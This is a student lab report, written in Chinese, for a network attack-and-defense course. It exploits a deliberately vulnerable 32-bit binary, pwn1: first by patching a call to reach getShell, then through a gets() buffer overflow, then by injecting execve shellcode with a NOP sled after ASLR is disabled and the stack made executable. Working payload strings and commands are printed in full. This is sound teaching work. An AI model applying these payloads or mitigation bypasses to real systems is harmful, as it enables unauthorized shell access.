20212920 許邵 2021-2022-2 《網路攻防實踐》實踐九報告
20212920 許邵 2021-2022-2 《網路攻防實踐》實踐九報告
1.實踐內容
本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
三個實踐內容如下:
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
- 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
- 注入一個自己製作的shellcode並執行這段shellcode。
理論基礎:
1.常用的彙編指令
指令 | 描述 | 格式 | 說明 |
---|---|---|---|
MOV | 傳送字或位元組 | MOV DEST,SRC | 將SRC移動到DEST |
XCHG | 交換指令 | XCHG OPER1,OPER2 | 把運算元oper1與運算元oper2交換 |
ADD | 加法 | ADD DEST,SRC | DEST<=DEST+SRC |
SUB | 減法 | SUB DEST,SRC | DEST<=DEST-SRC |
CMP | 比較 | CMP DEST,SRC | 計算DEST-SRC的差,不處理結果 |
JMP | 無條件轉移指令 | JMP LABEL | 無條件跳轉到LABEL處 |
CALL | 過程呼叫指令 | CALL LABEL | 段內直接呼叫LABEL處指令 |
RET | 段內過程返回指令 | RET | 結束子程式 |
SAL | 算術左移 | SAL OPRD,count | 將OPRD算術左移count位 |
SHL | 邏輯左移 | SHL OPRD,count | 將OPRD邏輯左移count位 |
SAR | 算術右移 | SAR OPRD,count | 將OPRD算術右移count位 |
SHR | 邏輯右移 | SHR OPRD,count | 將OPRD邏輯右移count位 |
PUSH | 進棧 | PUSH SRC | 將SRC壓入堆疊 |
POP | 出棧 | POP SRC | 將SRC推出堆疊 |
LEA | 取有效地址 | LEA REC,OPRD | 把運算元oprd的有效地址傳送到運算元rec |
2.Shellcode
shellcode是一段用於利用軟體漏洞而執行的程式碼,shellcode為16進位制的機器碼,因為經常讓攻擊者獲得shell而得名。shellcode常常使用機器語言編寫。可在暫存器eip溢位後,塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。
使用shellcode的基本步驟為:
‐ 先正向寫出我們想要的程式碼。
‐ 用反編譯軟體,找到對應的硬編碼。
- 適當修改硬編碼。
2.實踐過程
2.1 可執行檔案的修改
原本pwn1的功能是:簡單回顯使用者輸入的字串。
反彙編提供的pwn1檔案,命令:objdump -d pwn1 | more
反彙編後,這裡顯示了這個程式使用的所有函式。函式中包括了所有的彙編指令。
如下圖中的getshell、foo和main函式。
我們還可以看到,main函式中的第四行call指令,會將函式呼叫到foo函式中,而foo函式中沒有跳轉到getShell函式(0804847d)的指令。進一步分析得出,在這個檔案中,call指令的機器碼是e8.
實際上,8048491=80484ba+ffffffd7,也就是說,call指令跳轉到的目標foo函式的地址(8048491)正是該指令的下一條指令的EIP暫存器的值(80484ba,這正是該指令的下一條指令的地址)與該指令的表示目標的欄位(ffffffd7,小端優先)之和。
因此,我們可以這樣修改:
由於804847d-80484ba=ffffffc3,所以我們只需要把call指令的目標地址由d7ffffff改為c3ffffff即可。
先拷貝cp pwn1 pwn1-20212920
,
然後用vi編輯器開啟拷貝出來的pwn1-20212920。
得到一串亂碼。按下esc離開編輯模式,然後鍵入:%!xxd
,切換到16進位制模式。
根據之前看到的反彙編的結果,鍵入/d7
,進行定位,如果前後正是e8d7ffff,即可判斷這就是我們要修改的位置(在4b0行)。
修改d7為c3(游標定位到要切換的字元,按r鍵進入到切換字元模式,然後鍵入),然後轉換為原來的格式:%!xxd -r
,儲存退出:wq
。
重新反彙編objdump -d pwn1-20212920 | more
,發現主函式中的call指令目標成功切換到了getShell。
執行一下,./pwn1-20212920
,發現該程式改為呼叫shell指令了。
2.2 改變指令流,實現BOF攻擊
首先反彙編這個pwn檔案,檢視一下程式的基本功能,找到foo的漏洞。
先看foo函式。
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
第三行的sub指令,給堆疊預留了一定大小的空間;通過第四行的lea指令,將攜帶偏移量0x1c的ebp放到eax,然後在第五行,將eax放到堆疊esp上,相當於把一定大小的空間(長度為28)預留給函式geps@plt(負責讀取使用者輸入的字串,將字串拷貝到指標ptr中)。
分析可得,該函式會預留一個28位元組的空間,當輸入長度大於28位元組的字串時,會發生緩衝區溢位。
該函式的ebp部分是從主函式main通過call foo指令傳入的,所以溢位的一部分將被作為eip暫存器的值。而eip和ebp暫存器的長度恰為4位元組。
如果我們把eip的值,也就是輸入的字串的第33-36個位元組設為getshell的地址值0804847d,那麼,我們會進入getshell函式,從而實現對shell指令的控制。
由於elf語言是小端優先,我們在33-36個位元組應該這樣輸入:\x7d\x84\x04\x08
。
但是,由於這四個字元無法直接通過鍵盤輸入,我們需要採取額外的手段。這裡使用Perl。Perl是一門解釋性語言,可以直接在命令列上使用。
執行命令perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08\x0a"' > pwn1_input
,輸出到pwn1_input檔案中。由於pwn1_input中有些字元無法顯示,故通過管道進行輸入:(cat pwn1_input; cat) | ./pwn1
然後輸入相應的shell指令,發現這個程式確實在使用getShell函式,將輸入的字串當成shell指令處理了,說明BOF攻擊是成功的。
2.2.3 注入shellcode程式碼
使用的程式碼如下圖所示。
將上述程式碼儲存到exp9.c檔案中,使用gcc進行靜態編譯:gcc -static -o exp9 exp9.c
。
先執行一下看看。
發現該檔案會將輸入的字元轉化為shell命令進行處理。
為了方便我們將shellcode指令注入到堆疊中,我們要先做以下準備工作:
-
關閉地址隨機化
先用命令cat /proc/sys/kernel/randomize_va_space
,檢視地址隨機化是開啟(2)還是關閉(0)
如上圖,目前是開啟狀態,sudo su
提權,然後使用命令echo "0" > /proc/sys/kernel/randomize_va_space
關閉它。如果上圖顯示的是0則不需要修改。 -
設定堆疊可執行
先安裝execstack。
然後拷貝一個pwn1的備份到2920pwn1檔案。先使用命令execstack -s 2920pwn1
設定堆疊可執行,然後用execstack -q 2920pwn1
檢視堆疊是否可執行。
先採用nop+shellcode+retaddr的方式構造一個負載。nop一是為了填充,二是作為“著陸區、滑行區”,我們猜測,返回的地址只要落在任何一個nop上,就會滑到我們的shellcode。
構造的負載如下所示:\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00
使用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"'>input_shellcode
,將這個負載輸出到input_shellcode檔案中,使用這個shellcode執行2920pwn1。(cat input_shellcode; cat) | ./2920pwn1
按兩下enter鍵,發現segmentation fault錯誤,說明這個程式有問題。
為了除錯這一問題,我們重新執行這個程式,然後再開啟一個終端。在新的終端上查詢2920pwn1所在程序的程序號。
程序號是6370。
啟動GDB,用attach追蹤這個程序。
設定斷點break *0x080484ae
。可以先用指令disassemble foo,檢視該函式的return指令在哪裡。
在執行pwn1的終端中按下回車鍵,在執行gdb除錯的終端中輸入命令c,便捕捉到了斷點,用info r esp發現該函式返回的地址是0xbfff49c。
經過尋找,我們不難發現,shellcode所在地址為0xbfff47c。
退出GDB。
在執行shellcode的終端上,修改shellcode指令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x7c\xf4\xff\xbf\x00"'>input_shellcode_1
執行(cat input_shellcode_1;cat)| ./2920pwn1
發現還是不行。
那我們就按照另一種形式anything+retaddr+nops+shellcode,對shellcode進行修改。
之前我們看到01020304所在的地址為0xbfff49c,而shellcode的地址正是它的下四個位元組的地址,也就是0xbfff4a0perl -e 'print "A" x 32; print "\xa0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"'>input_shellcode_2
重新執行指令(cat input_shellcode_2; cat) | ./2920pwn1
,發現該程式成功讀取了shell指令,實現了BOF攻擊。
3.學習中遇到的問題及解決
- 問題1:一開始跟著視訊做,完全不清楚為什麼要填寫這些指令。
- 問題1解決方案:上網查閱了有關組合語言常用指令的部落格,初步理解了pwn1檔案中某些演算法的執行原理。
- 問題2:執行pwn1檔案,顯示許可權不夠,切換到root後還是不行。
- 問題2解決方案:sudo chmod 755 pwn1,修改檔案屬性
- 問題3:在Kali Linux虛擬機器安裝execstack時,顯示“無法定位軟體包”
- 問題3解決方案:https://blog.csdn.net/weixin_43729943/article/details/104221462 ,然後
sudo apt install prelink
,也可以直接在Ubuntu虛擬機器下做這一部分實驗。 - 問題4:修改後的shellcode執行依然報錯。
- 問題4解決方案:這是使用了64位作業系統的緣故,換32位作業系統再試試。
4.實踐總結
這次實踐明顯要難於其他的實踐,一定要耐心操作,認真分析,發現問題要及時改進。通過本次實踐,我對shellcode技術和組合語言有了初步的瞭解,讓我充分體會到了程式執行的深層次的邏輯,對程式執行、程序與堆疊的關係有了進一步的體會。